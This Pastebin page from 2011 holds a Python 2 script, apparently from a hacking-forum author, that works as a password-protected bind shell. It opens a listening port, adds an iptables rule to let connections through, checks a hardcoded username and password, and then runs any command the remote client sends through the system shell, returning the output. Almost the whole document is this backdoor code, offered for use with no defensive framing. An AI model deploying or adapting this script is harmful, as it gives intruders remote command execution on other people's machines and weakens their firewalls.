Guest User

Untitled

a guest
Aug 27th, 2011
461
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.63 KB | None | 0 0
  1. # Created by Pathogen @ www.hakhub.tk
  2.  
  3. import subprocess
  4. import hashlib
  5. import socket
  6. import sys
  7.  
  8. # Sets Credentials
  9.  
  10. user = 'GMO'
  11. passhash = hashlib.sha512('OMG').hexdigest()
  12.  
  13. # Opens logfile
  14.  
  15. file = open("Logfile.log", "a")
  16.  
  17. # Sets variables and creates sockets
  18.  
  19. host = ""
  20. port = int(sys.argv[1])
  21.  
  22. sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  23. sock.bind((host,port))
  24. sock.listen(1)
  25.  
  26. # Sets an iptables rule and waits for connections
  27.  
  28. subprocess.Popen('iptables -A INPUT -p tcp --dport ' + str(sys.argv[1]) + ' -j ACCEPT', shell=True)
  29. print "Listening on port " + str(port) + " for incoming connections!"
  30. file.write("\n\nListening on port " + str(port) + " for incoming connections!\n")
  31.  
  32. # Accepts connection and proceed to prompts for login
  33.  
  34. client,address = sock.accept()
  35.  
  36. print "Connection attempt by", str(address) + "\nWaiting for validation\n"
  37. file.write("Connection attempt by " + str(address) + "\nWaiting for validation.\n")
  38.  
  39. # Recieves user and password for validation
  40.  
  41. client.send("Enter yout username\nLogin> ")
  42. usern = str.strip(client.recv(1024))
  43.  
  44. client.send("Enter your password\nPassword> ")
  45. passw = hashlib.sha512(str.strip(client.recv(1024))).hexdigest()
  46.  
  47. # If login is successful, serve up the shell, else tell the client they could not be validated and log their IP
  48.  
  49. try:
  50.  
  51.   if passw == passhash and usern == user:
  52.  
  53.     print "Client has been validated, serving the shell\n\nCommands issued by client\n_________________________\n\n"
  54.     client.send('Validation success, press enter to access the shell.\n')
  55.     file.write("\nValidation success - Connection established by " + str(address) + "\nCommands issued by client\n_________________________\n\n")
  56.  
  57.     while 1:
  58.       command = client.recv(1024)
  59.       if not command: break
  60.       proc = subprocess.Popen(command,stdout=subprocess.PIPE,stderr=subprocess.PIPE, shell=True)
  61.       out = proc.stdout.read()
  62.       print "Command executed --> " + command
  63.       file.write("Command executed --> " + command + "\n")
  64.       client.send(out + "\nShell> ")
  65.     file.write(str(address) + " has closed the session\n\n")
  66.     client.close()
  67.  
  68.   elif passw != passhash:
  69.       print 'A failed login attempt detected!'
  70.       file.write("Failed login attempt by" + str(address) + "\n\n")
  71.       client.send('You could not be validated, your IP has been logged.\n')
  72.    
  73.   subprocess.Popen('iptables -D INPUT -p tcp --dport ' + str(sys.argv[1]) + ' -j ACCEPT', shell=True)
  74.  
  75. # Error handling, removes the iptables rule if an error occures
  76.  
  77. except:
  78.   subprocess.Popen('iptables -D INPUT -p tcp --dport ' + str(sys.argv[1]) + ' -j ACCEPT', shell=True)
Advertisement
Add Comment
Please, Sign In to add comment